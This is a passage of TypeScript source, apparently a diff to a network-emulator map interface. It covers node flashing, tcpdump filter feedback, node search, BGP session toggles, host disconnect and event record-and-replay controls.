this._flashVisQueue.add(nodeId); + if (IPs) { + this._visFlashNodeMapping.src.add(this._datasource.getNodeInfoByIP(IPs[1]).Id); + } + } else { + this._flashQueue.add(nodeId); + } + let src: string, dst: string; + if (IPs) { + src = this._datasource.getNodeInfoByIP(IPs[1]).Id; + dst = this._datasource.getNodeInfoByIP(IPs[2]).Id; + } else if (IPsReply) { + src = this._datasource.getNodeInfoByIP(IPsReply[2]).Id; + dst = this._datasource.getNodeInfoByIP(IPsReply[1]).Id; + } + if (netNodeRequest.size > 0) { + let tEdge = this._findEdgeId2(nodeId, [...netNodeRequest][0]); + if (src === nodeId) { + this._visArrowMapping.to.add(tEdge); + } else { + this._visArrowMapping.from.add(tEdge); + } + } + if (netNodeRequest.size > 1) { + this._visArrowMapping.to.add(this._findEdgeId2(nodeId, [...netNodeRequest][1])) + } + + if (netNodeReply.size > 0) { + let tEdge = this._findEdgeId2(nodeId, [...netNodeReply][0]); + if (dst === nodeId) { + if (this._visArrowMapping.from.has(tEdge)) { + this._visArrowMapping.from.delete(tEdge); + this._visArrowMapping.both.add(tEdge); + } else { + this._visArrowMapping.to.add(tEdge); + } + } else { + if (this._visArrowMapping.to.has(tEdge)) { + this._visArrowMapping.to.delete(tEdge); + this._visArrowMapping.both.add(tEdge); + } else { + this._visArrowMapping.from.add(tEdge); + } + } + } + if (netNodeReply.size > 1) { + let tEdge = this._findEdgeId2(nodeId, [...netNodeReply][1]); + if (this._visArrowMapping.from.has(tEdge)) { + this._visArrowMapping.from.delete(tEdge); + this._visArrowMapping.both.add(tEdge); + } else { + this._visArrowMapping.to.add(tEdge) + } + } + } + + let now = new Date(); + let lines: string[] = data.data.split('\r\n').filter(line => line !== ''); + + if (lines.length > 0 && this._recording) { + this._events.push({lines: lines, source: data.source}); + } + + // tcpdump output: "listening on xxx", meaning tcpdump is running + // and the last expressions does not contain error. + if (data.data.includes('listening')) { + this._filterInput.classList.remove('error'); + this._filterWrap.classList.remove('error'); + } + + // tcpdump output: "error", meaning tcpdump don't like the last + // expression + if (data.data.includes('error')) { + this._filterInput.classList.add('error'); + this._filterWrap.classList.add('error'); + } + + if (this._logDisable.checked) { + return; + } + + let node = this._nodes.get(data.source as string); + + let timeString = `${now.getHours()}:${now.getMinutes()}:${now.getSeconds()}.${now.getMilliseconds()}`; + + let tr = document.createElement('tr'); + + let td0 = document.createElement('td'); + let td1 = document.createElement('td'); + let td2 = document.createElement('td'); + + td0.innerText = timeString; + + let a = document.createElement('a'); + + a.href = '#'; + a.innerText = node.label; + a.onclick = () => { + this._focusNode(node.id); + }; + + td1.appendChild(a); + + td2.innerText = data.data; + + tr.appendChild(td0); + tr.appendChild(td1); + tr.appendChild(td2); + + this._logQueue.push(tr); + }); + + this._datasource.on('vis', (data) => { + // bad data? + if (!data.source || !data.data) { + return; + } + if (!this._nodes) { + return; + } + const _data = JSON.parse(data.data); + const nodeId = data.source; + if (nodeId in this._flasherVis) { + window.clearInterval(this._flasherVis[nodeId]); + } + + if (_data.action === 'flashOnce') { + this._flashVisNodes( + nodeId, _data.interval, _data.static, _data.dynamic, _data.action + ) + } else { + const currentTime = new Date().getTime(); + const offset = currentTime - this._firstIntervalStartTime; + const adjustedDelay = this._intervalDefault - (offset % this._intervalDefault); + window.setTimeout(() => { + this._flasherVis[nodeId] = window.setInterval(() => { + this._flashVisNodes( + nodeId, _data.interval, _data.static, _data.dynamic, _data.action + ) + }, this._intervalDefault); + }, adjustedDelay) + } + }); + } + + /** + * get a random color. + * + * @returns hsl color string. + */ + private _randomColor(): string { + return `hsl(${Math.random() * 360}, 100%, 75%)`; + } + + /** + * Find all edge ids that meet the from condition + * **/ + private _findEdgeIds(fromNode) { + const allEdges = this._edges.get(); + const edgeIds = new Array(); + allEdges.forEach(edge => { + // if (edge.from === fromNode && (this._flashingNodes.has(edge.to) || this._flashingVisNodes.has(edge.to))) { + if (edge.from === fromNode) { + edgeIds.push(edge.id); + } + }); + return edgeIds ? edgeIds : null; + } + + private _findEdgeId2(fromNode, toNode) { + const allEdges = this._edges.get(); + let edgeId = null; + allEdges.forEach(edge => { + if (edge.from === fromNode && edge.to === toNode) { + edgeId = edge.id; + } + }); + return edgeId; + } + + /** + * update highlighed nodes on the map. will auto un-highligh previously + * highlighted nodes. + * + * @param highlights set of vertex ids to highlight. + */ + private _updateSearchHighlights(highlights: Set) { + var newHighlights = new Set(); + var unHighlighted = new Set(); + + highlights.forEach(n => { + if (!this._searchHighlightNodes.has(n)) { + newHighlights.add(n); + } + }); + + this._searchHighlightNodes.forEach(n => { + if (!highlights.has(n)) { + unHighlighted.add(n); + } + }); + + unHighlighted.forEach(n => { + this._searchHighlightNodes.delete(n); + }); + + newHighlights.forEach(n => { + this._searchHighlightNodes.add(n); + }); + + var updateRequest = []; + + newHighlights.forEach(n => { + updateRequest.push({ + id: n, ...dynamicDefault + }); + }); + + unHighlighted.forEach(n => { + updateRequest.push({ + id: n, ...staticDefault + }); + }); + + this._nodes.update(updateRequest); + } + + /** + * flash all nodes in the flash queue and schedule un-flash. + */ + private _flashNodes() { + // during replay, do not flash nodes - they are controlled by the replayer. + if (this._replayStatus !== 'stopped') { + return; + } + + if (this._flashingNodes.size != 0) { + // some nodes still flashing; wait for next time + return; + } + + this._flashingNodes = new Set(this._flashQueue); + this._flashQueue.clear(); + this._tVisArrowMapping.from = new Set(this._visArrowMapping.from); + this._tVisArrowMapping.to = new Set(this._visArrowMapping.to); + this._tVisArrowMapping.both = new Set(this._visArrowMapping.both); + this._visArrowMapping.from.clear(); + this._visArrowMapping.to.clear(); + this._visArrowMapping.both.clear(); + + if (this._filterMode == 'node-search') { + // in node search mode, don't flash. + this._flashingNodes.clear(); + return; + } + + let updateRequest = Array.from(this._flashingNodes).map(nodeId => { + return { + id: nodeId, ...dynamicDefault + } + }); + let updateFromRequestEdge = Array.from(this._tVisArrowMapping.from).map(nodeId => { + return { + id: nodeId, + arrows: arrowFrom + } + }); + let updateToRequestEdge = Array.from(this._tVisArrowMapping.to).map(nodeId => { + return { + id: nodeId, + arrows: arrowTo + } + }); + + let updateBothEdge = Array.from(this._tVisArrowMapping.both).map(nodeId => { + return { + id: nodeId, + arrows: arrowBothWay + } + }); + + this._edges.update(updateFromRequestEdge); + this._edges.update(updateToRequestEdge); + this._edges.update(updateBothEdge); + this._nodes.update(updateRequest); + + // schedule un-flash + window.setTimeout(() => { + let updateRequest = Array.from(this._flashingNodes).map(nodeId => { + return { + id: nodeId, ...staticDefault + } + }); + + let updateRequestEdge = Array.from(new Set([...this._tVisArrowMapping.from, ...this._tVisArrowMapping.to, ...this._tVisArrowMapping.both])).map(nodeId => { + return { + id: nodeId, + arrows: arrowStop + } + }); + this._nodes.update(updateRequest); + this._edges.update(updateRequestEdge) + this._flashingNodes.clear(); + this._tFlashNodeMapping.src.clear(); + this._tFlashNodeMapping.dst.clear(); + }, 300); + } + + private _flashVisNodes( + nodeId: string, + interval: number = 300, + _static: {} = staticDefault, + dynamic: {} = dynamicDefault, + action: string + ) { + // during replay, do not flash nodes - they are controlled by the replayer. + if (this._replayStatus !== 'stopped') { + return; + } + + let shape: string; + if (this._nodes.get(nodeId)?.type === 'node') { + const nodeInfo = this._datasource.getNodeInfoById(nodeId); + shape = ['Router', 'BorderRouter'].includes(nodeInfo.meta.emulatorInfo.role) ? 'dot' : 'hexagon'; + } + + if (Object.keys(_static).length === 0) { + _static = staticDefault + } + if (!_static.hasOwnProperty('shape')) { + _static['shape'] = shape + } + if (Object.keys(dynamic).length === 0) { + dynamic = dynamicDefault + } + + switch (action) { + case 'flashOnce': + case 'flash': + return this._flashVisNodesFlash(nodeId, _static, dynamic, interval); + case 'highlight': + return this._flashVisNodesHighlight(nodeId, _static); + default: + break + } + + if (this._flashingVisNodes.size != 0 && !this._flashingVisNodes.has(nodeId)) { + // some nodes still flashing; wait for next time + return; + } + + if (this._filterMode == 'node-search') { + // in node search mode, don't flash. + this._flashingVisNodes.clear(); + return; + } + + this._visSetQueue.add(nodeId) + let updateEdgeIds = new Set(); + this._findEdgeIds(nodeId).forEach(edgeId => updateEdgeIds.add(edgeId)); + this._nodes.update({ + id: nodeId, ..._static + }); + let updateRequestEdge = Array.from(updateEdgeIds).map(nodeId => { + return { + id: nodeId, + arrows: arrowStop + } + }); + this._edges.update(updateRequestEdge) + + this._flashVisStyleMapping[nodeId] = { + interval, + 'static': _static as NodeOptions, + 'dynamic': dynamic as NodeOptions, + } + + if (interval > 0) { + // schedule un-flash + window.setTimeout(() => { + this._flashingVisNodes = new Set(this._flashVisQueue); + this._flashVisQueue.delete(nodeId); + if (!this._flashingVisNodes.has(nodeId)) { + return + } + + this._tVisFlashNodeMapping.src = new Set(this._visFlashNodeMapping.src); + this._visFlashNodeMapping.src.delete(nodeId); + + this._findEdgeIds(nodeId).forEach(edgeId => updateEdgeIds.add(edgeId)); + let updateRequestEdge = Array.from(updateEdgeIds).map(edgeId => { + if (this._tVisFlashNodeMapping.src.has(nodeId)) { + return { + id: edgeId, + arrows: arrowTo + } + } else { + return { + id: edgeId, + arrows: arrowFrom + } + } + }); + + this._nodes.update({ + id: nodeId, ...dynamic + }); + this._edges.update(updateRequestEdge) + + this._flashingVisNodes.clear(); + this._tVisFlashNodeMapping.src.clear(); + }, interval); + } + } + + private _flashVisNodesFlash(nodeId: string, _static: {}, dynamic: {}, interval: number) { + this._nodes.update({ + id: nodeId, ..._static + }); + window.setTimeout(() => { + this._nodes.update({ + id: nodeId, ...dynamic + }); + }, interval); + } + + private _flashVisNodesHighlight(nodeId: string, highLight: {}) { + this._nodes.update({ + id: nodeId, ...highLight + }); + } + + private async _focusNode(id: string) { + this._graph.focus(id, {animation: true}); + this._graph.selectNodes([id]); + this._updateInfoPlateWith(id); + } + + /** + * update mode to filter or search. + * + * @param mode new filter mode. + */ + private async _setFilterMode(mode: FilterMode) { + if (mode == this._filterMode) { + return; + } + + this._filterMode = mode; + + this._suggestions.innerText = ''; + this._moveSuggestionSelection('clear'); + + if (mode == 'filter') { + this._updateSearchHighlights(new Set()); // empty search highligths + this._filterInput.value = await this._datasource.getSniffFilter(); + this._filterInput.placeholder = 'Type a BPF expression to animate packet flows on the map...'; + this._filterModeTab.classList.remove('inactive'); + this._searchModeTab.classList.add('inactive'); + } + + if (mode == 'node-search') { + this._filterInput.value = this._lastSearchTerm; + this._filterInput.placeholder = 'Search networks and nodes...'; + this._filterModeTab.classList.add('inactive'); + this._searchModeTab.classList.remove('inactive'); + this._filterUpdateHandler(null, true); + } + } + + /** + * find net or nodes search term. + * + * @param term search term. + * @returns list of stuffs matching the term. + */ + private _findNodes(term: string): Vertex[] { + var hits: Vertex[] = []; + + this._nodes.forEach(node => { + var targetString = ''; + + if (node.type == 'node') { + let nodeObj = (node.object as EmulatorNode); + let nodeInfo = nodeObj.meta.emulatorInfo; + + targetString = `${nodeObj.Id} ${nodeInfo.role} as${nodeInfo.asn} ${nodeInfo.name} ${nodeInfo.displayname ?? ''} ${nodeInfo.description ?? ''}`; + + nodeInfo.nets.forEach(net => { + targetString += `${net.name} ${net.address} `; + }); + } + + if (node.type == 'network') { + let net = (node.object as EmulatorNetwork); + let netInfo = net.meta.emulatorInfo; + + targetString = `${net.Id} as${netInfo.scope} ${netInfo.name} ${netInfo.prefix} ${netInfo.displayname ?? ''} ${netInfo.description ?? ''}`; + } + + if (term != '' && targetString.toLowerCase().includes(term.toLowerCase())) { + hits.push(node); + } + }); + + return hits; + } + + /** + * move filter/search suggestions selection. + * + * @param selection move direction. + */ + private _moveSuggestionSelection(selection: SuggestionSelectionAction) { + let children = this._suggestions.children; + + if (children.length == 0) { + return; + } + + if (selection == 'clear') { + if (children.length == 0) { + return; + } + + this._suggestionsSelection = -1; + Array.from(children).forEach(child => { + child.classList.remove('active'); + }); + + return; + } + + if (selection == 'up') { + if (this._suggestionsSelection <= 0) { + return; + } + + this._suggestionsSelection--; + + children[this._suggestionsSelection + 1].classList.remove('active'); + } + + if (selection == 'down') { + if (this._suggestionsSelection == children.length - 1) { + return; + } + + this._suggestions.focus(); + + this._suggestionsSelection++; + + if (this._suggestionsSelection > 0) { + children[this._suggestionsSelection - 1].classList.remove('active'); + } + } + + let current = children[this._suggestionsSelection]; + current.classList.add('active'); + + let boxRect = this._suggestions.getBoundingClientRect(); + let itemRect = current.getBoundingClientRect(); + + let topOffset = itemRect.top - boxRect.top; + let bottomOffset = itemRect.bottom - boxRect.bottom; + + if (topOffset < 0) { + this._suggestions.scrollBy({top: topOffset - 10, behavior: 'smooth'}); + } + + if (bottomOffset > 0) { + this._suggestions.scrollBy({top: bottomOffset + 10, behavior: 'smooth'}); + } + } + + /** + * update filter/search suggestions. + * + * @param term current search/filter term. + */ + private _updateFilterSuggestions(term: string) { + this._suggestions.innerText = ''; + + if (this._filterMode == 'filter') { + this._bpfCompletion.getCompletion(term).forEach(comp => { + + let item = document.createElement('div'); + item.className = 'suggestion'; + + var title = comp.fulltext; + var fillText = comp.partialword; + + if (this._curretNode) { + if (this._curretNode.type == 'network') { + let prefix = (this._curretNode.object as EmulatorNetwork).meta.emulatorInfo.prefix; + + title = title.replace('', prefix); + fillText = fillText.replace('', prefix); + } + + if (this._curretNode.type == 'node') { + let addresses = (this._curretNode.object as EmulatorNode).meta.emulatorInfo.nets.map(net => net.address.split('/')[0]); + let addressesExpr = addresses.join(' or '); + + if (addresses.length > 1) { + addressesExpr = `(${addressesExpr})`; + } + + title = title.replace('', addressesExpr); + fillText = fillText.replace('', addressesExpr); + } + } + + let name = document.createElement('span'); + name.className = 'name'; + name.innerText = title; + + let details = document.createElement('span'); + details.className = 'details'; + details.innerText = comp.description; + + item.appendChild(name); + item.appendChild(details); + item.onclick = () => { + this._filterInput.value += `${fillText} `; + this._moveSuggestionSelection('clear'); + this._updateFilterSuggestions(this._filterInput.value); + }; + + this._suggestions.appendChild(item); + }); + } + + if (this._filterMode == 'node-search') { + let vertices = this._findNodes(term); + + if (term != '') { + let defaultItem = document.createElement('div'); + defaultItem.className = 'suggestion'; + + let defaultName = document.createElement('span'); + defaultName.className = 'name'; + defaultName.innerText = term; + + let defailtDetails = document.createElement('span'); + defailtDetails.className = 'details'; + defailtDetails.innerText = 'Press enter to show all matches on the map...'; + + defaultItem.onclick = () => { + this._moveSuggestionSelection('clear'); + this._filterUpdateHandler(undefined, true); + }; + + defaultItem.appendChild(defaultName); + defaultItem.appendChild(defailtDetails); + + this._suggestions.appendChild(defaultItem); + } + + vertices.forEach(vertex => { + var itemName = vertex.label; + var itemDetails = ''; + + if (vertex.type == 'node') { + let node = vertex.object as EmulatorNode; + + itemDetails = node.meta.emulatorInfo.nets.map(net => net.address).join(', '); + itemName = `${node.meta.emulatorInfo.role}: ${itemName}`; + } + + if (vertex.type == 'network') { + let net = vertex.object as EmulatorNetwork; + + itemDetails = net.meta.emulatorInfo.prefix; + itemName = `${net.meta.emulatorInfo.type == 'global' ? 'Exchange' : 'Network'}: ${itemName}`; + } + + let item = document.createElement('div'); + item.className = 'suggestion'; + + let name = document.createElement('span'); + name.className = 'name'; + name.innerText = itemName; + + let details = document.createElement('span'); + details.className = 'details'; + details.innerText = itemDetails; + + item.appendChild(name); + item.appendChild(details); + + item.onclick = () => { + this._focusNode(vertex.id); + let set = new Set(); + set.add(vertex.id); + this._updateSearchHighlights(set); + this._suggestions.innerText = ''; + this._moveSuggestionSelection('clear'); + }; + + this._suggestions.appendChild(item); + }); + } + + } + + /** + * commit a filter search. + * + * @param event if triggerd by keydown/keyup event, the event. + * @param forced if not triggerd by keydown/keyup event, set to true. + */ + private async _filterUpdateHandler(event: KeyboardEvent | undefined, forced: boolean = false) { + let term = this._filterInput.value; + + if (((!event || event.key != 'Enter') && !forced)) { + this._moveSuggestionSelection('clear'); + this._suggestions.innerText = ''; + this._updateFilterSuggestions(term); + + return; + } + + this._suggestions.innerText = ''; + + if (this._filterMode == 'filter') { + this._filterInput.value = await this._datasource.setSniffFilter(term); + } + + if (this._filterMode == 'node-search') { + var hits = new Set(); + this._lastSearchTerm = term; + + this._findNodes(term).forEach(node => hits.add(node.id)); + + this._updateSearchHighlights(hits); + } + } + + /** + * create an infoplate label/text field. + * + * @param label label for the pair. + * @param text text for the pair. + * @returns div element of the pair. + */ + private _createInfoPlateValuePair(label: string, text: string): HTMLDivElement { + let div = document.createElement('div'); + + let span0 = document.createElement('span'); + span0.className = 'label'; + span0.innerText = label; + + let span1 = document.createElement('span'); + span1.className = 'text'; + span1.innerText = text; + + div.appendChild(span0); + div.appendChild(span1); + + return div; + } + + /** + * update infoplate with node. + * + * @param nodeId node id for any vertex (can be node or net). + */ + private async _updateInfoPlateWith(nodeId: string) { + let vertex = this._nodes.get(nodeId); + + this._curretNode = vertex; + + let infoPlate = document.createElement('div'); + this._infoPlateElement.classList.add('loading'); + + let title = document.createElement('div'); + title.className = 'title'; + infoPlate.appendChild(title); + + if (vertex.type == 'network') { + let net = vertex.object as EmulatorNetwork; + title.innerText = `${net.meta.emulatorInfo.type == 'global' ? 'Exchange' : 'Network'}: ${vertex.label}`; + + if (net.meta.emulatorInfo.description) { + let div = document.createElement('div'); + div.innerText = net.meta.emulatorInfo.description; + div.classList.add('description'); + + infoPlate.appendChild(div); + } + + infoPlate.appendChild(this._createInfoPlateValuePair('ID', net.Id.substr(0, 12))); + infoPlate.appendChild(this._createInfoPlateValuePair('Name', net.meta.emulatorInfo.name)); + infoPlate.appendChild(this._createInfoPlateValuePair('Scope', net.meta.emulatorInfo.scope)); + infoPlate.appendChild(this._createInfoPlateValuePair('Type', net.meta.emulatorInfo.type)); + infoPlate.appendChild(this._createInfoPlateValuePair('Prefix', net.meta.emulatorInfo.prefix)); + } + + if (vertex.type == 'node') { + let node = vertex.object as EmulatorNode; + title.innerText = `${['Router', 'BorderRouter'].includes(node.meta.emulatorInfo.role) ? 'Router' : 'Host'}: ${vertex.label}`; + + if (node.meta.emulatorInfo.description) { + let div = document.createElement('div'); + div.innerText = node.meta.emulatorInfo.description; + div.classList.add('description'); + + infoPlate.appendChild(div); + } + + infoPlate.appendChild(this._createInfoPlateValuePair('ID', node.Id.substr(0, 12))); + infoPlate.appendChild(this._createInfoPlateValuePair('ASN', node.meta.emulatorInfo.asn.toString())); + infoPlate.appendChild(this._createInfoPlateValuePair('Name', node.meta.emulatorInfo.name)); + infoPlate.appendChild(this._createInfoPlateValuePair('Role', node.meta.emulatorInfo.role)); + + let ipAddresses = document.createElement('div'); + ipAddresses.classList.add('section'); + + let ipTitle = document.createElement('div'); + ipTitle.className = ' title'; + ipTitle.innerText = 'IP addresses'; + + ipAddresses.appendChild(ipTitle); + + node.meta.emulatorInfo.nets.forEach(net => { + ipAddresses.appendChild(this._createInfoPlateValuePair(net.name, net.address)); + }); + + infoPlate.appendChild(ipAddresses); + if (vertex.custom !== 'custom' && CONSOLE !== 'false') { + if (['Router', 'Route Server', 'BorderRouter'].includes(node.meta.emulatorInfo.role)) { + let bgpDetails = document.createElement('div'); + bgpDetails.classList.add('section'); + + let peers = await this._datasource.getBgpPeers(node.Id); + + let bgpTitle = document.createElement('div'); + bgpTitle.className = 'title'; + bgpTitle.innerText = 'BGP sessions'; + + bgpDetails.appendChild(bgpTitle); + + if (peers.length == 0) { + let noPeers = document.createElement('div'); + noPeers.innerText = 'No BGP peers.'; + noPeers.classList.add('caption'); + + bgpDetails.appendChild(noPeers); + } + + peers.forEach(peer => { + let container = document.createElement('div'); + + let peerName = document.createElement('span'); + peerName.classList.add('label'); + peerName.innerText = peer.name; + + let peerStatus = document.createElement('span'); + peerStatus.innerText = peer.protocolState != 'down' ? peer.bgpState : 'Disabled'; + + let peerAction = document.createElement('a'); + + peerAction.href = '#'; + peerAction.classList.add('inline-action-link'); + peerAction.innerText = peer.protocolState != 'down' ? 'Disable' : 'Enable'; + peerAction.onclick = async () => { + await this._datasource.setBgpPeers(node.Id, peer.name, peer.protocolState == 'down'); + this._infoPlateElement.classList.add('loading'); + window.setTimeout(() => { + this._updateInfoPlateWith(node.Id); + }, 100); + }; + + container.appendChild(peerName); + container.appendChild(peerStatus); + container.appendChild(peerAction); + + bgpDetails.appendChild(container); + }); + + infoPlate.appendChild(bgpDetails); + } + + let actions = document.createElement('div'); + actions.classList.add('section'); + + let actionTitle = document.createElement('div'); + actionTitle.className = 'title'; + actionTitle.innerText = 'Actions'; + + actions.appendChild(actionTitle); + + let consoleLink = document.createElement('a'); + + consoleLink.href = '#'; + consoleLink.innerText = 'Launch console'; + consoleLink.classList.add('action-link'); + + consoleLink.onclick = () => { + this._windowManager.createWindow(node.Id.substr(0, 12), vertex.label); + }; + + let netToggle = document.createElement('a'); + let netState = await this._datasource.getNetworkStatus(node.Id); + + netToggle.href = '#'; + netToggle.innerText = netState ? 'Disconnect' : 'Re-connect'; + netToggle.onclick = async () => { + if (netState && node.meta.emulatorInfo.role == 'Host') { + let ok = window.confirm('You are about to disconnect a host node. Note that disconnecting nodes flush their routing table - for host nodes, this includes the default route. You will need to manually re-add the default route if you want to re-connect the host.\n\nProceed anyway?'); + if (!ok) { + return; + } + } + await this._datasource.setNetworkStatus(node.Id, !netState); + this._infoPlateElement.classList.add('loading'); + window.setTimeout(() => { + this._updateInfoPlateWith(node.Id); + }, 100); + }; + netToggle.classList.add('action-link'); + + let reloadLink = document.createElement('a'); + + reloadLink.href = '#'; + reloadLink.innerText = 'Refresh'; + reloadLink.classList.add('action-link'); + reloadLink.onclick = () => { + this._updateInfoPlateWith(node.Id); + }; + + actions.append(consoleLink); + actions.append(netToggle); + actions.append(reloadLink); + + infoPlate.appendChild(actions); + } + } + + this._infoPlateElement.innerText = ''; + this._infoPlateElement.appendChild(infoPlate); + this._infoPlateElement.classList.remove('loading'); + } + + private _expandNode(nodeId: string) { + const children = this._nodes.get({ + filter: item => item.object.meta.relation.parent.size === 1 && [...item.object.meta.relation.parent][0] === nodeId + }); + + const updates = children.map(child => ({ + id: child.id, + hidden: false, + })); + + this._nodes.update(updates); + this._nodes.update({id: nodeId, collapsed: false}); + + children.forEach(child => { + if (!child.collapsed) { + this._expandNode(child.id); + } + }); + } + + private _collapseNode(nodeId: string) { + const descendants = this._getAllDescendants(nodeId); + + // 隐藏所有后代节点 + const updates = descendants.map(desc => ({ + id: desc.id, + hidden: true, + })); + + this._nodes.update(updates); + this._nodes.update({id: nodeId, collapsed: true}); + } + + private _getAllDescendants(nodeId: string) { + let descendants = []; + const stack = [nodeId]; + + while (stack.length > 0) { + const currentId = stack.pop(); + const children = this._nodes.get({ + filter: item => item.object.meta.relation.parent.size === 1 && [...item.object.meta.relation.parent][0] === currentId + }); + + children.forEach(child => { + descendants.push(child); + stack.push(child.id); + }); + } + + let other = new Set(); + this._nodes.get().forEach(item => { + if (!descendants.find(d => d.id === item.id)) { + item.object.meta.relation.parent.forEach(i => other.add(i)) + } + }) + + descendants = descendants.filter(item => !other.has(item.id)) + + return descendants; + } + + /** + * map mac addresses to networks. + */ + private _mapMacAddresses() { + this._nodes.forEach(vertex => { + if (vertex.type != 'node') { + return; + } + + let node = vertex.object as EmulatorNode; + + Object.keys(node.NetworkSettings.Networks).forEach(key => { + let net = node.NetworkSettings.Networks[key]; + this._macMapping[net.MacAddress] = net.NetworkID; + this._macContainerIDMapping[net.MacAddress] = node.Id; + }); + }); + } + + private _updateReplayControls() { + if (this._replayStatus === 'playing' || this._replayStatus === 'paused') { + this._replayButton.disabled = false; + this._recordButton.disabled = true; + this._stopButton.disabled = false; + this._forwardButton.disabled = false; + this._backwardButton.disabled = false; + this._replaySeekBar.disabled = false; + this._interval.disabled = this._replayStatus === 'playing'; + + this._replaySeekBar.max = (this._playlist.length - 1).toString(); + this._replayButton.innerHTML = this._replayStatus === 'playing' ? '' : ''; + this._recordButton.innerHTML = ''; + } + + if (this._replayStatus === 'stopped') { + this._replayButton.disabled = this._recording; + this._recordButton.disabled = false; + this._stopButton.disabled = true; + this._forwardButton.disabled = true; + this._backwardButton.disabled = true; + this._replaySeekBar.disabled = true; + this._interval.disabled = false; + + this._replayButton.innerHTML = ''; + this._recordButton.innerHTML = this._recording ? '' : ''; + } + } + + /** + * stop replay + */ + private _replayStop() { + if (this._replayStatus === 'stopped') { + return; + } + + this._replayStatus = 'stopped'; + window.clearTimeout(this._replayTask); + + // un-flash nodes. + let unflashRequest = Array.from(this._flashingNodes).map(nodeId => { + return { + id: nodeId, ...staticDefault + } + }); + this._nodes.update(unflashRequest); + this._flashingNodes.clear(); + this._flashingVisNodes.clear(); + this._updateReplayControls(); + this._replayStatusText.innerText = 'Replay stopped.'; + } + + /** + * seek to a specific time + * @param offset offset from current time. + * @param absolute offset is absolute time. + */ + private _replaySeek(offset: number, absolute: boolean = false) { + if (this._replayStatus === 'stopped') { + return; + } + + this._replayStatus = 'paused'; + this._updateReplayControls(); + + if (absolute) { + this._replayPos = offset; + } else { + this._replayPos += offset; + } + + this._doReplay(true); + } + + /** + * toggle recording. + */ + private _recordStartStop() { + if (this._replayStatus !== 'stopped') { + return; + } + + if (this._recording) { + this._recording = false; + this._replayStatusText.innerText = 'Replay stopped.'; + this._recordButton.innerHTML = ''; + this._updateReplayControls(); + } else { + this._events = []; + this._recording = true; + this._replayStatusText.innerText = 'Recording events...'; + this._recordButton.innerHTML = ''; + this._updateReplayControls(); + } + } + + private _buildPlayList(): PlaylistItem[] { + let refDate = new Date(); + + let playlist: PlaylistItem[] = []; + + this._events.forEach(e => { + e.lines.forEach(line => { + let time = line.split(' ')[0]; + let [h, m, _s] = time.split(':'); + + if (!h || !m || !_s) { + return; + } + + let [s, ms] = _s.split('.'); + + let nodes: string[] = [e.source]; + let added: Set = new Set(); + let date = new Date(refDate.getFullYear(), refDate.getMonth(), refDate.getDate(), parseInt(h), parseInt(m), parseInt(s), parseInt(ms)); + + Object.keys(this._macMapping).forEach(mac => { + if (line.includes(mac) && !added.has(mac)) { + added.add(mac); + + let nodeId = this._macMapping[mac]; + + if (this._nodes.get(nodeId) === null) { + return; + } + + nodes.push(nodeId); + } + }); + + playlist.push({nodes: nodes, at: date.valueOf()}); + }); + + }); + + return playlist.sort((a, b) => a.at - b.at); + } + + /** + * toggle play / pause replay. + */ + private _replayPlayPause() { + if (this._recording) { + return; + } + + if (this._replayStatus === 'stopped') { + this._replayPos = 0; + this._replayStatusText.innerText = 'Replay stopped.'; + this._replayStatus = 'playing'; + this._playlist = this._buildPlayList(); + this._doReplay(); + this._updateReplayControls(); + } else if (this._replayStatus === 'playing') { + this._replayStatus = 'paused'; + this._updateReplayControls(); + } else if (this._replayStatus === 'paused') { + this._replayStatus = 'playing'; + this._updateReplayControls(); + } + } + + private _doReplay(once: boolean = false) { + // not playing. + if (this._replayStatus === 'stopped') { + return; + } + + if (!once) { + this._replayTask = window.setTimeout(() => this._doReplay(), Number.parseInt(this._interval.value)); + } + + this._replayStatusText.innerText = `${this._replayStatus === 'paused' ? 'Paused' : 'Playing'}: ${this._replayPos}/${this._playlist.length} event(s) left.`; + + if (!this._seeking) { + this._replaySeekBar.value = this._replayPos.toString(); + } + + // reached the end. + if (this._replayPos >= this._playlist.length) { + this._replayStatus = 'paused'; + this._replayStatusText.innerText = 'End of record.'; + this._replaySeekBar.value = '0'; + this._replayPos = 0; + this._updateReplayControls(); + return; + } + + // un-flash nodes. + let unflashRequest = Array.from(this._flashingNodes).map(nodeId => { + let style; + if (this._flashVisStyleMapping.hasOwnProperty(nodeId)) { + style = this._flashVisStyleMapping[nodeId].static; + } else { + style = staticDefault; + } + return { + id: nodeId, ...style + } + }); + this._nodes.update(unflashRequest); + this._flashingNodes.clear(); + this._flashingVisNodes.clear(); + + // flash nodes from this event. + let current = this._playlist[this._replayPos]; + current.nodes.forEach(node => this._flashingNodes.add(node)); + let flashRequest = Array.from(this._flashingNodes).map(nodeId => { + let style; + if (this._flashVisStyleMapping.hasOwnProperty(nodeId)) { + style = this._flashVisStyleMapping[nodeId].dynamic; + } else { + style = dynamicDefault; + } + return { + id: nodeId, ...style + } + }); + this._nodes.update(flashRequest); + + if (this._replayStatus === 'playing') { + ++this._replayPos; + } + } + + /** + * connect datasource, start mapping, and start the log/flash workers. + */ + async start() { + await this._datasource.connect(); + this.redraw(); + this.initSetting() + this._mapMacAddresses(); + + if (this._filterMode == 'filter') { + this._filterInput.value = await this._datasource.getSniffFilter(); + } + + this._logPrinter = window.setInterval(() => { + var scroll = false; + + while (this._logQueue.length > 0) { + scroll = true; + this._logBody.appendChild(this._logQueue.shift()); + } + + if (scroll && this._logAutoscroll.checked && !this._logDisable.checked) { + this._logView.scrollTop = this._logView.scrollHeight; + } + }, this._intervalDefault); + + + this._flasher = window.setInterval(() => { + this._flashNodes(); + }, this._intervalDefault); + this._firstIntervalStartTime = new Date().getTime(); + } + + /** + * disconnect datasource and stop log/flash worker. + */ + stop() { + this._datasource.disconnect(); + window.clearInterval(this._logPrinter); + window.clearInterval(this._flasher); + Object.keys(this._flasherVis).forEach(key => { + window.clearInterval(this._flasherVis[key]) + }) + this._flasherVis = {} + this._flashVisQueue.clear() + this._flashingVisNodes.clear() + } + + initSetting() { + const nodes = this._nodes; + const updateServiceStyle = this.updateServiceStyle; + if (this._datasource.services.size === 0) { + return + } + const $labelService = $('